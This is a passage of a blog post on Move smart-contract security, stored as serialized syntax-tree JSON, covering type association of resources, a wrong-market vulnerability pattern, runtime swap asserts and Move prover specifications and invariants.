});\n",[6826],{"type":24,"tag":32,"props":6827,"children":6828},{"__ignoreMap":7},[6829,6872,6898,6905,6926,6971,6978,6985,6992,7029,7036],{"type":24,"tag":83,"props":6830,"children":6831},{"class":85,"line":86},[6832,6837,6841,6846,6850,6855,6860,6864,6868],{"type":24,"tag":83,"props":6833,"children":6834},{"style":101},[6835],{"type":29,"value":6836},"  public",{"type":24,"tag":83,"props":6838,"children":6839},{"style":107},[6840],{"type":29,"value":558},{"type":24,"tag":83,"props":6842,"children":6843},{"style":137},[6844],{"type":29,"value":6845},"friend",{"type":24,"tag":83,"props":6847,"children":6848},{"style":107},[6849],{"type":29,"value":633},{"type":24,"tag":83,"props":6851,"children":6852},{"style":137},[6853],{"type":29,"value":6854},"fun",{"type":24,"tag":83,"props":6856,"children":6857},{"style":137},[6858],{"type":29,"value":6859}," create",{"type":24,"tag":83,"props":6861,"children":6862},{"style":107},[6863],{"type":29,"value":5552},{"type":24,"tag":83,"props":6865,"children":6866},{"style":3163},[6867],{"type":29,"value":6649},{"type":24,"tag":83,"props":6869,"children":6870},{"style":107},[6871],{"type":29,"value":6335},{"type":24,"tag":83,"props":6873,"children":6874},{"class":85,"line":113},[6875,6880,6884,6889,6894],{"type":24,"tag":83,"props":6876,"children":6877},{"style":137},[6878],{"type":29,"value":6879},"      lp_store",{"type":24,"tag":83,"props":6881,"children":6882},{"style":143},[6883],{"type":29,"value":195},{"type":24,"tag":83,"props":6885,"children":6886},{"style":143},[6887],{"type":29,"value":6888}," &",{"type":24,"tag":83,"props":6890,"children":6891},{"style":137},[6892],{"type":29,"value":6893},"signer",{"type":24,"tag":83,"props":6895,"children":6896},{"style":107},[6897],{"type":29,"value":989},{"type":24,"tag":83,"props":6899,"children":6900},{"class":85,"line":128},[6901],{"type":24,"tag":83,"props":6902,"children":6903},{"style":2735},[6904],{"type":29,"value":6343},{"type":24,"tag":83,"props":6906,"children":6907},{"class":85,"line":183},[6908,6913,6917,6922],{"type":24,"tag":83,"props":6909,"children":6910},{"style":107},[6911],{"type":29,"value":6912},"  ) ",{"type":24,"tag":83,"props":6914,"children":6915},{"style":137},[6916],{"type":29,"value":6090},{"type":24,"tag":83,"props":6918,"children":6919},{"style":3163},[6920],{"type":29,"value":6921}," Reserves",{"type":24,"tag":83,"props":6923,"children":6924},{"style":107},[6925],{"type":29,"value":125},{"type":24,"tag":83,"props":6927,"children":6928},{"class":85,"line":203},[6929,6934,6938,6943,6948,6952,6957,6961,6966],{"type":24,"tag":83,"props":6930,"children":6931},{"style":107},[6932],{"type":29,"value":6933},"      lp",{"type":24,"tag":83,"props":6935,"children":6936},{"style":143},[6937],{"type":29,"value":3226},{"type":24,"tag":83,"props":6939,"children":6940},{"style":101},[6941],{"type":29,"value":6942},"assert_is_lp_store",{"type":24,"tag":83,"props":6944,"children":6945},{"style":107},[6946],{"type":29,"value":6947},"(signer",{"type":24,"tag":83,"props":6949,"children":6950},{"style":143},[6951],{"type":29,"value":3226},{"type":24,"tag":83,"props":6953,"children":6954},{"style":101},[6955],{"type":29,"value":6956},"address_of",{"type":24,"tag":83,"props":6958,"children":6959},{"style":107},[6960],{"type":29,"value":558},{"type":24,"tag":83,"props":6962,"children":6963},{"style":137},[6964],{"type":29,"value":6965},"lp_store",{"type":24,"tag":83,"props":6967,"children":6968},{"style":107},[6969],{"type":29,"value":6970},"));\n",{"type":24,"tag":83,"props":6972,"children":6973},{"class":85,"line":212},[6974],{"type":24,"tag":83,"props":6975,"children":6976},{"emptyLinePlaceholder":16},[6977],{"type":29,"value":3422},{"type":24,"tag":83,"props":6979,"children":6980},{"class":85,"line":256},[6981],{"type":24,"tag":83,"props":6982,"children":6983},{"style":2735},[6984],{"type":29,"value":6343},{"type":24,"tag":83,"props":6986,"children":6987},{"class":85,"line":270},[6988],{"type":24,"tag":83,"props":6989,"children":6990},{"emptyLinePlaceholder":16},[6991],{"type":29,"value":3422},{"type":24,"tag":83,"props":6993,"children":6994},{"class":85,"line":302},[6995,7000,7004,7008,7012,7016,7020,7024],{"type":24,"tag":83,"props":6996,"children":6997},{"style":101},[6998],{"type":29,"value":6999},"      move_to",{"type":24,"tag":83,"props":7001,"children":7002},{"style":107},[7003],{"type":29,"value":558},{"type":24,"tag":83,"props":7005,"children":7006},{"style":137},[7007],{"type":29,"value":6965},{"type":24,"tag":83,"props":7009,"children":7010},{"style":107},[7011],{"type":29,"value":568},{"type":24,"tag":83,"props":7013,"children":7014},{"style":3163},[7015],{"type":29,"value":6550},{"type":24,"tag":83,"props":7017,"children":7018},{"style":107},[7019],{"type":29,"value":5552},{"type":24,"tag":83,"props":7021,"children":7022},{"style":3163},[7023],{"type":29,"value":6649},{"type":24,"tag":83,"props":7025,"children":7026},{"style":107},[7027],{"type":29,"value":7028},"> {\n",{"type":24,"tag":83,"props":7030,"children":7031},{"class":85,"line":324},[7032],{"type":24,"tag":83,"props":7033,"children":7034},{"style":2735},[7035],{"type":29,"value":5921},{"type":24,"tag":83,"props":7037,"children":7038},{"class":85,"line":345},[7039],{"type":24,"tag":83,"props":7040,"children":7041},{"style":107},[7042],{"type":29,"value":7043},"      });\n",{"type":24,"tag":25,"props":7045,"children":7046},{},[7047],{"type":29,"value":7048},"In both these instances, type association only works because we create exactly one instance per type.",{"type":24,"tag":25,"props":7050,"children":7051},{},[7052,7054,7060,7062,7068,7070,7075],{"type":29,"value":7053},"On the other hand, consider if you have a ",{"type":24,"tag":32,"props":7055,"children":7057},{"className":7056},[],[7058],{"type":29,"value":7059},"Position\u003CT>",{"type":29,"value":7061}," and a ",{"type":24,"tag":32,"props":7063,"children":7065},{"className":7064},[],[7066],{"type":29,"value":7067},"Market\u003CT>",{"type":29,"value":7069}," where ",{"type":24,"tag":32,"props":7071,"children":7073},{"className":7072},[],[7074],{"type":29,"value":5733},{"type":29,"value":7076}," is the coin type.",{"type":24,"tag":73,"props":7078,"children":7080},{"className":2725,"code":7079,"language":2724,"meta":7,"style":7},"    struct Market\u003Cphantom T> {\n        reserves: Coin\u003CT>,\n        // ...\n    }\n\n    struct Position\u003Cphantom T> {\n        amount: u64,\n        // ...\n    }\n",[7081],{"type":24,"tag":32,"props":7082,"children":7083},{"__ignoreMap":7},[7084,7112,7140,7147,7154,7161,7189,7209,7216],{"type":24,"tag":83,"props":7085,"children":7086},{"class":85,"line":86},[7087,7091,7096,7100,7104,7108],{"type":24,"tag":83,"props":7088,"children":7089},{"style":90},[7090],{"type":29,"value":5798},{"type":24,"tag":83,"props":7092,"children":7093},{"style":3163},[7094],{"type":29,"value":7095}," Market",{"type":24,"tag":83,"props":7097,"children":7098},{"style":107},[7099],{"type":29,"value":5552},{"type":24,"tag":83,"props":7101,"children":7102},{"style":137},[7103],{"type":29,"value":5557},{"type":24,"tag":83,"props":7105,"children":7106},{"style":3163},[7107],{"type":29,"value":5664},{"type":24,"tag":83,"props":7109,"children":7110},{"style":107},[7111],{"type":29,"value":7028},{"type":24,"tag":83,"props":7113,"children":7114},{"class":85,"line":113},[7115,7120,7124,7128,7132,7136],{"type":24,"tag":83,"props":7116,"children":7117},{"style":137},[7118],{"type":29,"value":7119},"        reserves",{"type":24,"tag":83,"props":7121,"children":7122},{"style":143},[7123],{"type":29,"value":195},{"type":24,"tag":83,"props":7125,"children":7126},{"style":3163},[7127],{"type":29,"value":5547},{"type":24,"tag":83,"props":7129,"children":7130},{"style":107},[7131],{"type":29,"value":5552},{"type":24,"tag":83,"props":7133,"children":7134},{"style":3163},[7135],{"type":29,"value":5733},{"type":24,"tag":83,"props":7137,"children":7138},{"style":107},[7139],{"type":29,"value":5884},{"type":24,"tag":83,"props":7141,"children":7142},{"class":85,"line":128},[7143],{"type":24,"tag":83,"props":7144,"children":7145},{"style":2735},[7146],{"type":29,"value":5921},{"type":24,"tag":83,"props":7148,"children":7149},{"class":85,"line":183},[7150],{"type":24,"tag":83,"props":7151,"children":7152},{"style":107},[7153],{"type":29,"value":446},{"type":24,"tag":83,"props":7155,"children":7156},{"class":85,"line":203},[7157],{"type":24,"tag":83,"props":7158,"children":7159},{"emptyLinePlaceholder":16},[7160],{"type":29,"value":3422},{"type":24,"tag":83,"props":7162,"children":7163},{"class":85,"line":212},[7164,7168,7173,7177,7181,7185],{"type":24,"tag":83,"props":7165,"children":7166},{"style":90},[7167],{"type":29,"value":5798},{"type":24,"tag":83,"props":7169,"children":7170},{"style":3163},[7171],{"type":29,"value":7172}," Position",{"type":24,"tag":83,"props":7174,"children":7175},{"style":107},[7176],{"type":29,"value":5552},{"type":24,"tag":83,"props":7178,"children":7179},{"style":137},[7180],{"type":29,"value":5557},{"type":24,"tag":83,"props":7182,"children":7183},{"style":3163},[7184],{"type":29,"value":5664},{"type":24,"tag":83,"props":7186,"children":7187},{"style":107},[7188],{"type":29,"value":7028},{"type":24,"tag":83,"props":7190,"children":7191},{"class":85,"line":256},[7192,7197,7201,7205],{"type":24,"tag":83,"props":7193,"children":7194},{"style":137},[7195],{"type":29,"value":7196},"        amount",{"type":24,"tag":83,"props":7198,"children":7199},{"style":143},[7200],{"type":29,"value":195},{"type":24,"tag":83,"props":7202,"children":7203},{"style":3163},[7204],{"type":29,"value":5606},{"type":24,"tag":83,"props":7206,"children":7207},{"style":107},[7208],{"type":29,"value":989},{"type":24,"tag":83,"props":7210,"children":7211},{"class":85,"line":270},[7212],{"type":24,"tag":83,"props":7213,"children":7214},{"style":2735},[7215],{"type":29,"value":5921},{"type":24,"tag":83,"props":7217,"children":7218},{"class":85,"line":302},[7219],{"type":24,"tag":83,"props":7220,"children":7221},{"style":107},[7222],{"type":29,"value":446},{"type":24,"tag":25,"props":7224,"children":7225},{},[7226,7228,7233,7235,7240],{"type":29,"value":7227},"If ",{"type":24,"tag":32,"props":7229,"children":7231},{"className":7230},[],[7232],{"type":29,"value":7067},{"type":29,"value":7234}," isn't a unique type -- or in other words if you're able to create more than one instance of a market per type ",{"type":24,"tag":32,"props":7236,"children":7238},{"className":7237},[],[7239],{"type":29,"value":5733},{"type":29,"value":7241}," -- you might be able to pass in the incorrect market for a given position. This is a common vulnerability pattern on Solana.",{"type":24,"tag":25,"props":7243,"children":7244},{},[7245],{"type":29,"value":7246},"Dynamic iteration of types is also impossible (at least as currently designed by the Move VM) leading to massive headaches for developers. In these scenarios, we empirically observe developers defaulting back to type reflection APIs, complicating code unnecessarily. Security at the expense of usability comes at the expense of security.",{"type":24,"tag":73,"props":7248,"children":7250},{"className":2725,"code":7249,"language":2724,"meta":7,"style":7},"    /// Get the price of the token per lamport.\n    public fun get_price(type_info: TypeInfo): Decimal acquires Oracle {\n        let oracle = borrow_global_mut\u003COracle>(@oracle);\n        let price = table::borrow_mut_with_default\u003CTypeInfo, Decimal>(\n            &mut oracle.prices,\n            type_info,\n            decimal::one()\n        );\n        *price\n    }\n",[7251],{"type":24,"tag":32,"props":7252,"children":7253},{"__ignoreMap":7},[7254,7262,7324,7373,7425,7450,7462,7484,7492,7505],{"type":24,"tag":83,"props":7255,"children":7256},{"class":85,"line":86},[7257],{"type":24,"tag":83,"props":7258,"children":7259},{"style":2735},[7260],{"type":29,"value":7261},"    /// Get the price of the token per lamport.\n",{"type":24,"tag":83,"props":7263,"children":7264},{"class":85,"line":113},[7265,7270,7274,7279,7283,7288,7292,7297,7301,7305,7310,7315,7320],{"type":24,"tag":83,"props":7266,"children":7267},{"style":137},[7268],{"type":29,"value":7269},"    public",{"type":24,"tag":83,"props":7271,"children":7272},{"style":137},[7273],{"type":29,"value":5953},{"type":24,"tag":83,"props":7275,"children":7276},{"style":101},[7277],{"type":29,"value":7278}," get_price",{"type":24,"tag":83,"props":7280,"children":7281},{"style":107},[7282],{"type":29,"value":558},{"type":24,"tag":83,"props":7284,"children":7285},{"style":137},[7286],{"type":29,"value":7287},"type_info",{"type":24,"tag":83,"props":7289,"children":7290},{"style":143},[7291],{"type":29,"value":195},{"type":24,"tag":83,"props":7293,"children":7294},{"style":3163},[7295],{"type":29,"value":7296}," TypeInfo",{"type":24,"tag":83,"props":7298,"children":7299},{"style":107},[7300],{"type":29,"value":2872},{"type":24,"tag":83,"props":7302,"children":7303},{"style":143},[7304],{"type":29,"value":195},{"type":24,"tag":83,"props":7306,"children":7307},{"style":3163},[7308],{"type":29,"value":7309}," Decimal",{"type":24,"tag":83,"props":7311,"children":7312},{"style":137},[7313],{"type":29,"value":7314}," acquires",{"type":24,"tag":83,"props":7316,"children":7317},{"style":3163},[7318],{"type":29,"value":7319}," Oracle",{"type":24,"tag":83,"props":7321,"children":7322},{"style":107},[7323],{"type":29,"value":125},{"type":24,"tag":83,"props":7325,"children":7326},{"class":85,"line":128},[7327,7331,7336,7340,7345,7349,7354,7359,7364,7369],{"type":24,"tag":83,"props":7328,"children":7329},{"style":90},[7330],{"type":29,"value":2809},{"type":24,"tag":83,"props":7332,"children":7333},{"style":137},[7334],{"type":29,"value":7335}," oracle",{"type":24,"tag":83,"props":7337,"children":7338},{"style":143},[7339],{"type":29,"value":146},{"type":24,"tag":83,"props":7341,"children":7342},{"style":137},[7343],{"type":29,"value":7344}," borrow_global_mut",{"type":24,"tag":83,"props":7346,"children":7347},{"style":107},[7348],{"type":29,"value":5552},{"type":24,"tag":83,"props":7350,"children":7351},{"style":3163},[7352],{"type":29,"value":7353},"Oracle",{"type":24,"tag":83,"props":7355,"children":7356},{"style":107},[7357],{"type":29,"value":7358},">(",{"type":24,"tag":83,"props":7360,"children":7361},{"style":143},[7362],{"type":29,"value":7363},"@",{"type":24,"tag":83,"props":7365,"children":7366},{"style":137},[7367],{"type":29,"value":7368},"oracle",{"type":24,"tag":83,"props":7370,"children":7371},{"style":107},[7372],{"type":29,"value":581},{"type":24,"tag":83,"props":7374,"children":7375},{"class":85,"line":183},[7376,7380,7385,7389,7394,7398,7403,7407,7412,7416,7421],{"type":24,"tag":83,"props":7377,"children":7378},{"style":90},[7379],{"type":29,"value":2809},{"type":24,"tag":83,"props":7381,"children":7382},{"style":137},[7383],{"type":29,"value":7384}," price",{"type":24,"tag":83,"props":7386,"children":7387},{"style":143},[7388],{"type":29,"value":146},{"type":24,"tag":83,"props":7390,"children":7391},{"style":107},[7392],{"type":29,"value":7393}," table",{"type":24,"tag":83,"props":7395,"children":7396},{"style":143},[7397],{"type":29,"value":3226},{"type":24,"tag":83,"props":7399,"children":7400},{"style":137},[7401],{"type":29,"value":7402},"borrow_mut_with_default",{"type":24,"tag":83,"props":7404,"children":7405},{"style":107},[7406],{"type":29,"value":5552},{"type":24,"tag":83,"props":7408,"children":7409},{"style":3163},[7410],{"type":29,"value":7411},"TypeInfo",{"type":24,"tag":83,"props":7413,"children":7414},{"style":107},[7415],{"type":29,"value":568},{"type":24,"tag":83,"props":7417,"children":7418},{"style":3163},[7419],{"type":29,"value":7420},"Decimal",{"type":24,"tag":83,"props":7422,"children":7423},{"style":107},[7424],{"type":29,"value":6335},{"type":24,"tag":83,"props":7426,"children":7427},{"class":85,"line":203},[7428,7433,7437,7441,7445],{"type":24,"tag":83,"props":7429,"children":7430},{"style":143},[7431],{"type":29,"value":7432},"            &",{"type":24,"tag":83,"props":7434,"children":7435},{"style":90},[7436],{"type":29,"value":3468},{"type":24,"tag":83,"props":7438,"children":7439},{"style":137},[7440],{"type":29,"value":7335},{"type":24,"tag":83,"props":7442,"children":7443},{"style":143},[7444],{"type":29,"value":161},{"type":24,"tag":83,"props":7446,"children":7447},{"style":107},[7448],{"type":29,"value":7449},"prices,\n",{"type":24,"tag":83,"props":7451,"children":7452},{"class":85,"line":212},[7453,7458],{"type":24,"tag":83,"props":7454,"children":7455},{"style":137},[7456],{"type":29,"value":7457},"            type_info",{"type":24,"tag":83,"props":7459,"children":7460},{"style":107},[7461],{"type":29,"value":989},{"type":24,"tag":83,"props":7463,"children":7464},{"class":85,"line":256},[7465,7470,7474,7479],{"type":24,"tag":83,"props":7466,"children":7467},{"style":107},[7468],{"type":29,"value":7469},"            decimal",{"type":24,"tag":83,"props":7471,"children":7472},{"style":143},[7473],{"type":29,"value":3226},{"type":24,"tag":83,"props":7475,"children":7476},{"style":101},[7477],{"type":29,"value":7478},"one",{"type":24,"tag":83,"props":7480,"children":7481},{"style":107},[7482],{"type":29,"value":7483},"()\n",{"type":24,"tag":83,"props":7485,"children":7486},{"class":85,"line":270},[7487],{"type":24,"tag":83,"props":7488,"children":7489},{"style":107},[7490],{"type":29,"value":7491},"        );\n",{"type":24,"tag":83,"props":7493,"children":7494},{"class":85,"line":302},[7495,7500],{"type":24,"tag":83,"props":7496,"children":7497},{"style":143},[7498],{"type":29,"value":7499},"        *",{"type":24,"tag":83,"props":7501,"children":7502},{"style":137},[7503],{"type":29,"value":7504},"price\n",{"type":24,"tag":83,"props":7506,"children":7507},{"class":85,"line":324},[7508],{"type":24,"tag":83,"props":7509,"children":7510},{"style":107},[7511],{"type":29,"value":446},{"type":24,"tag":25,"props":7513,"children":7514},{},[7515,7517,7522],{"type":29,"value":7516},"Type association feels like a proxy for the intended pattern -- associating resources with instances. It's very useful being able to store a reference to an ",{"type":24,"tag":2655,"props":7518,"children":7519},{},[7520],{"type":29,"value":7521},"instance",{"type":29,"value":7523}," of another resource (which is possible in Diem style move).",{"type":24,"tag":25,"props":7525,"children":7526},{},[7527],{"type":29,"value":7528},"In summary, when using type systems to bind resources to each other, it's important to either",{"type":24,"tag":63,"props":7530,"children":7531},{},[7532,7537],{"type":24,"tag":67,"props":7533,"children":7534},{},[7535],{"type":29,"value":7536},"Have unique initializers for your resources",{"type":24,"tag":67,"props":7538,"children":7539},{},[7540],{"type":29,"value":7541},"Associate resources with instances directly",{"type":24,"tag":51,"props":7543,"children":7545},{"id":7544},"formal-verification",[7546],{"type":29,"value":7547},"Formal Verification",{"type":24,"tag":25,"props":7549,"children":7550},{},[7551],{"type":29,"value":7552},"Formal verification is another exciting feature.",{"type":24,"tag":25,"props":7554,"children":7555},{},[7556],{"type":29,"value":7557},"As part of our work with protocols, we actively use formal verification to prove aspects of security.",{"type":24,"tag":25,"props":7559,"children":7560},{},[7561,7563,7568],{"type":29,"value":7562},"However, this isn't a silver bullet. The key is figuring out ",{"type":24,"tag":2655,"props":7564,"children":7565},{},[7566],{"type":29,"value":7567},"what",{"type":29,"value":7569}," to prove.",{"type":24,"tag":25,"props":7571,"children":7572},{},[7573,7575,7582],{"type":29,"value":7574},"One obvious idea might be a properties across a particular function. For example, we might want to ensure that a swap doesn't reduce the value of the pool -- similar to the ",{"type":24,"tag":2033,"props":7576,"children":7579},{"href":7577,"rel":7578},"https://osec.io/blog/reports/2022-04-26-spl-swap-rounding/",[2037],[7580],{"type":29,"value":7581},"Solana AMM rounding issue",{"type":29,"value":7583}," we reported.",{"type":24,"tag":25,"props":7585,"children":7586},{},[7587],{"type":29,"value":7588},"However, this could also be checked with a simple runtime assert. For example, we recommended Pontem assert that liquidity pool token values are strictly increasing.",{"type":24,"tag":73,"props":7590,"children":7592},{"className":2725,"code":7591,"language":2724,"meta":7,"style":7},"  let cmp = u256::compare(&lp_value_after_swap_and_fee, &lp_value_before_swap_u256);\n  assert!(cmp == 2, ERR_INCORRECT_SWAP);\n",[7593],{"type":24,"tag":32,"props":7594,"children":7595},{"__ignoreMap":7},[7596,7656],{"type":24,"tag":83,"props":7597,"children":7598},{"class":85,"line":86},[7599,7603,7608,7612,7617,7621,7626,7630,7634,7639,7643,7647,7652],{"type":24,"tag":83,"props":7600,"children":7601},{"style":90},[7602],{"type":29,"value":655},{"type":24,"tag":83,"props":7604,"children":7605},{"style":137},[7606],{"type":29,"value":7607}," cmp",{"type":24,"tag":83,"props":7609,"children":7610},{"style":143},[7611],{"type":29,"value":146},{"type":24,"tag":83,"props":7613,"children":7614},{"style":107},[7615],{"type":29,"value":7616}," u256",{"type":24,"tag":83,"props":7618,"children":7619},{"style":143},[7620],{"type":29,"value":3226},{"type":24,"tag":83,"props":7622,"children":7623},{"style":101},[7624],{"type":29,"value":7625},"compare",{"type":24,"tag":83,"props":7627,"children":7628},{"style":107},[7629],{"type":29,"value":558},{"type":24,"tag":83,"props":7631,"children":7632},{"style":143},[7633],{"type":29,"value":2853},{"type":24,"tag":83,"props":7635,"children":7636},{"style":137},[7637],{"type":29,"value":7638},"lp_value_after_swap_and_fee",{"type":24,"tag":83,"props":7640,"children":7641},{"style":107},[7642],{"type":29,"value":568},{"type":24,"tag":83,"props":7644,"children":7645},{"style":143},[7646],{"type":29,"value":2853},{"type":24,"tag":83,"props":7648,"children":7649},{"style":137},[7650],{"type":29,"value":7651},"lp_value_before_swap_u256",{"type":24,"tag":83,"props":7653,"children":7654},{"style":107},[7655],{"type":29,"value":581},{"type":24,"tag":83,"props":7657,"children":7658},{"class":85,"line":113},[7659,7664,7668,7673,7677,7682],{"type":24,"tag":83,"props":7660,"children":7661},{"style":101},[7662],{"type":29,"value":7663},"  assert!",{"type":24,"tag":83,"props":7665,"children":7666},{"style":107},[7667],{"type":29,"value":558},{"type":24,"tag":83,"props":7669,"children":7670},{"style":137},[7671],{"type":29,"value":7672},"cmp",{"type":24,"tag":83,"props":7674,"children":7675},{"style":143},[7676],{"type":29,"value":3028},{"type":24,"tag":83,"props":7678,"children":7679},{"style":245},[7680],{"type":29,"value":7681}," 2",{"type":24,"tag":83,"props":7683,"children":7684},{"style":107},[7685],{"type":29,"value":7686},", ERR_INCORRECT_SWAP);\n",{"type":24,"tag":25,"props":7688,"children":7689},{},[7690,7692,7697],{"type":29,"value":7691},"The move prover really shines when we're proving relationships ",{"type":24,"tag":2655,"props":7693,"children":7694},{},[7695],{"type":29,"value":7696},"between",{"type":29,"value":7698}," functions.",{"type":24,"tag":25,"props":7700,"children":7701},{},[7702,7704,7710],{"type":29,"value":7703},"One example of a more complicated relationship that can't be proved easily via assertions would be the ",{"type":24,"tag":32,"props":7705,"children":7707},{"className":7706},[],[7708],{"type":29,"value":7709},"no_free_money_theorem",{"type":29,"value":7711}," in the move repository.",{"type":24,"tag":73,"props":7713,"children":7715},{"className":2725,"code":7714,"language":2724,"meta":7,"style":7},"  // #[test] // TODO: cannot specify the test-only functions\n  fun no_free_money_theorem(coin1_in: u64, coin2_in: u64): (u64, u64) acquires Pool {\n      let share = add_liquidity(coin1_in, coin2_in);\n      remove_liquidity(share)\n  }\n  spec no_free_money_theorem {\n      pragma verify=false;\n      ensures result_1 \u003C= coin1_in;\n      ensures result_2 \u003C= coin2_in;\n  }\n",[7716],{"type":24,"tag":32,"props":7717,"children":7718},{"__ignoreMap":7},[7719,7727,7815,7856,7877,7884,7900,7925,7952,7977],{"type":24,"tag":83,"props":7720,"children":7721},{"class":85,"line":86},[7722],{"type":24,"tag":83,"props":7723,"children":7724},{"style":2735},[7725],{"type":29,"value":7726},"  // #[test] // TODO: cannot specify the test-only functions\n",{"type":24,"tag":83,"props":7728,"children":7729},{"class":85,"line":113},[7730,7734,7739,7743,7748,7752,7756,7760,7765,7769,7773,7777,7781,7785,7790,7794,7798,7802,7806,7811],{"type":24,"tag":83,"props":7731,"children":7732},{"style":137},[7733],{"type":29,"value":6316},{"type":24,"tag":83,"props":7735,"children":7736},{"style":101},[7737],{"type":29,"value":7738}," no_free_money_theorem",{"type":24,"tag":83,"props":7740,"children":7741},{"style":107},[7742],{"type":29,"value":558},{"type":24,"tag":83,"props":7744,"children":7745},{"style":137},[7746],{"type":29,"value":7747},"coin1_in",{"type":24,"tag":83,"props":7749,"children":7750},{"style":143},[7751],{"type":29,"value":195},{"type":24,"tag":83,"props":7753,"children":7754},{"style":3163},[7755],{"type":29,"value":5606},{"type":24,"tag":83,"props":7757,"children":7758},{"style":107},[7759],{"type":29,"value":568},{"type":24,"tag":83,"props":7761,"children":7762},{"style":137},[7763],{"type":29,"value":7764},"coin2_in",{"type":24,"tag":83,"props":7766,"children":7767},{"style":143},[7768],{"type":29,"value":195},{"type":24,"tag":83,"props":7770,"children":7771},{"style":3163},[7772],{"type":29,"value":5606},{"type":24,"tag":83,"props":7774,"children":7775},{"style":107},[7776],{"type":29,"value":2872},{"type":24,"tag":83,"props":7778,"children":7779},{"style":143},[7780],{"type":29,"value":195},{"type":24,"tag":83,"props":7782,"children":7783},{"style":107},[7784],{"type":29,"value":223},{"type":24,"tag":83,"props":7786,"children":7787},{"style":3163},[7788],{"type":29,"value":7789},"u64",{"type":24,"tag":83,"props":7791,"children":7792},{"style":107},[7793],{"type":29,"value":568},{"type":24,"tag":83,"props":7795,"children":7796},{"style":3163},[7797],{"type":29,"value":7789},{"type":24,"tag":83,"props":7799,"children":7800},{"style":107},[7801],{"type":29,"value":633},{"type":24,"tag":83,"props":7803,"children":7804},{"style":137},[7805],{"type":29,"value":6090},{"type":24,"tag":83,"props":7807,"children":7808},{"style":3163},[7809],{"type":29,"value":7810}," Pool",{"type":24,"tag":83,"props":7812,"children":7813},{"style":107},[7814],{"type":29,"value":125},{"type":24,"tag":83,"props":7816,"children":7817},{"class":85,"line":128},[7818,7822,7827,7831,7836,7840,7844,7848,7852],{"type":24,"tag":83,"props":7819,"children":7820},{"style":90},[7821],{"type":29,"value":1481},{"type":24,"tag":83,"props":7823,"children":7824},{"style":137},[7825],{"type":29,"value":7826}," share",{"type":24,"tag":83,"props":7828,"children":7829},{"style":143},[7830],{"type":29,"value":146},{"type":24,"tag":83,"props":7832,"children":7833},{"style":101},[7834],{"type":29,"value":7835}," add_liquidity",{"type":24,"tag":83,"props":7837,"children":7838},{"style":107},[7839],{"type":29,"value":558},{"type":24,"tag":83,"props":7841,"children":7842},{"style":137},[7843],{"type":29,"value":7747},{"type":24,"tag":83,"props":7845,"children":7846},{"style":107},[7847],{"type":29,"value":568},{"type":24,"tag":83,"props":7849,"children":7850},{"style":137},[7851],{"type":29,"value":7764},{"type":24,"tag":83,"props":7853,"children":7854},{"style":107},[7855],{"type":29,"value":581},{"type":24,"tag":83,"props":7857,"children":7858},{"class":85,"line":183},[7859,7864,7868,7873],{"type":24,"tag":83,"props":7860,"children":7861},{"style":101},[7862],{"type":29,"value":7863},"      remove_liquidity",{"type":24,"tag":83,"props":7865,"children":7866},{"style":107},[7867],{"type":29,"value":558},{"type":24,"tag":83,"props":7869,"children":7870},{"style":137},[7871],{"type":29,"value":7872},"share",{"type":24,"tag":83,"props":7874,"children":7875},{"style":107},[7876],{"type":29,"value":2905},{"type":24,"tag":83,"props":7878,"children":7879},{"class":85,"line":203},[7880],{"type":24,"tag":83,"props":7881,"children":7882},{"style":107},[7883],{"type":29,"value":455},{"type":24,"tag":83,"props":7885,"children":7886},{"class":85,"line":212},[7887,7892,7896],{"type":24,"tag":83,"props":7888,"children":7889},{"style":137},[7890],{"type":29,"value":7891},"  spec",{"type":24,"tag":83,"props":7893,"children":7894},{"style":137},[7895],{"type":29,"value":7738},{"type":24,"tag":83,"props":7897,"children":7898},{"style":107},[7899],{"type":29,"value":125},{"type":24,"tag":83,"props":7901,"children":7902},{"class":85,"line":256},[7903,7908,7913,7917,7921],{"type":24,"tag":83,"props":7904,"children":7905},{"style":137},[7906],{"type":29,"value":7907},"      pragma",{"type":24,"tag":83,"props":7909,"children":7910},{"style":137},[7911],{"type":29,"value":7912}," verify",{"type":24,"tag":83,"props":7914,"children":7915},{"style":143},[7916],{"type":29,"value":1275},{"type":24,"tag":83,"props":7918,"children":7919},{"style":90},[7920],{"type":29,"value":1617},{"type":24,"tag":83,"props":7922,"children":7923},{"style":107},[7924],{"type":29,"value":321},{"type":24,"tag":83,"props":7926,"children":7927},{"class":85,"line":270},[7928,7933,7938,7943,7948],{"type":24,"tag":83,"props":7929,"children":7930},{"style":137},[7931],{"type":29,"value":7932},"      ensures",{"type":24,"tag":83,"props":7934,"children":7935},{"style":137},[7936],{"type":29,"value":7937}," result_1",{"type":24,"tag":83,"props":7939,"children":7940},{"style":143},[7941],{"type":29,"value":7942}," \u003C=",{"type":24,"tag":83,"props":7944,"children":7945},{"style":137},[7946],{"type":29,"value":7947}," coin1_in",{"type":24,"tag":83,"props":7949,"children":7950},{"style":107},[7951],{"type":29,"value":321},{"type":24,"tag":83,"props":7953,"children":7954},{"class":85,"line":302},[7955,7959,7964,7968,7973],{"type":24,"tag":83,"props":7956,"children":7957},{"style":137},[7958],{"type":29,"value":7932},{"type":24,"tag":83,"props":7960,"children":7961},{"style":137},[7962],{"type":29,"value":7963}," result_2",{"type":24,"tag":83,"props":7965,"children":7966},{"style":143},[7967],{"type":29,"value":7942},{"type":24,"tag":83,"props":7969,"children":7970},{"style":137},[7971],{"type":29,"value":7972}," coin2_in",{"type":24,"tag":83,"props":7974,"children":7975},{"style":107},[7976],{"type":29,"value":321},{"type":24,"tag":83,"props":7978,"children":7979},{"class":85,"line":324},[7980],{"type":24,"tag":83,"props":7981,"children":7982},{"style":107},[7983],{"type":29,"value":455},{"type":24,"tag":25,"props":7985,"children":7986},{},[7987],{"type":29,"value":7988},"There's no clean way to express this with an assert because this makes an observation across two functions which are temporally separated.",{"type":24,"tag":25,"props":7990,"children":7991},{},[7992,7994,7999],{"type":29,"value":7993},"Invariant's are also extremely useful. For example, enforcing invariants about fee parameters (fee can never be greater than 100%) or pool supply makes it a ",{"type":24,"tag":2655,"props":7995,"children":7996},{},[7997],{"type":29,"value":7998},"lot",{"type":29,"value":8000}," easier to reason about the protocol.",{"type":24,"tag":25,"props":8002,"children":8003},{},[8004],{"type":29,"value":8005},"For example, Ian uses invariants to clearly define core properties of his AMM state.",{"type":24,"tag":73,"props":8007,"children":8009},{"className":2725,"code":8008,"language":2724,"meta":7,"style":7},"spec PoolState {\n    invariant supply >= 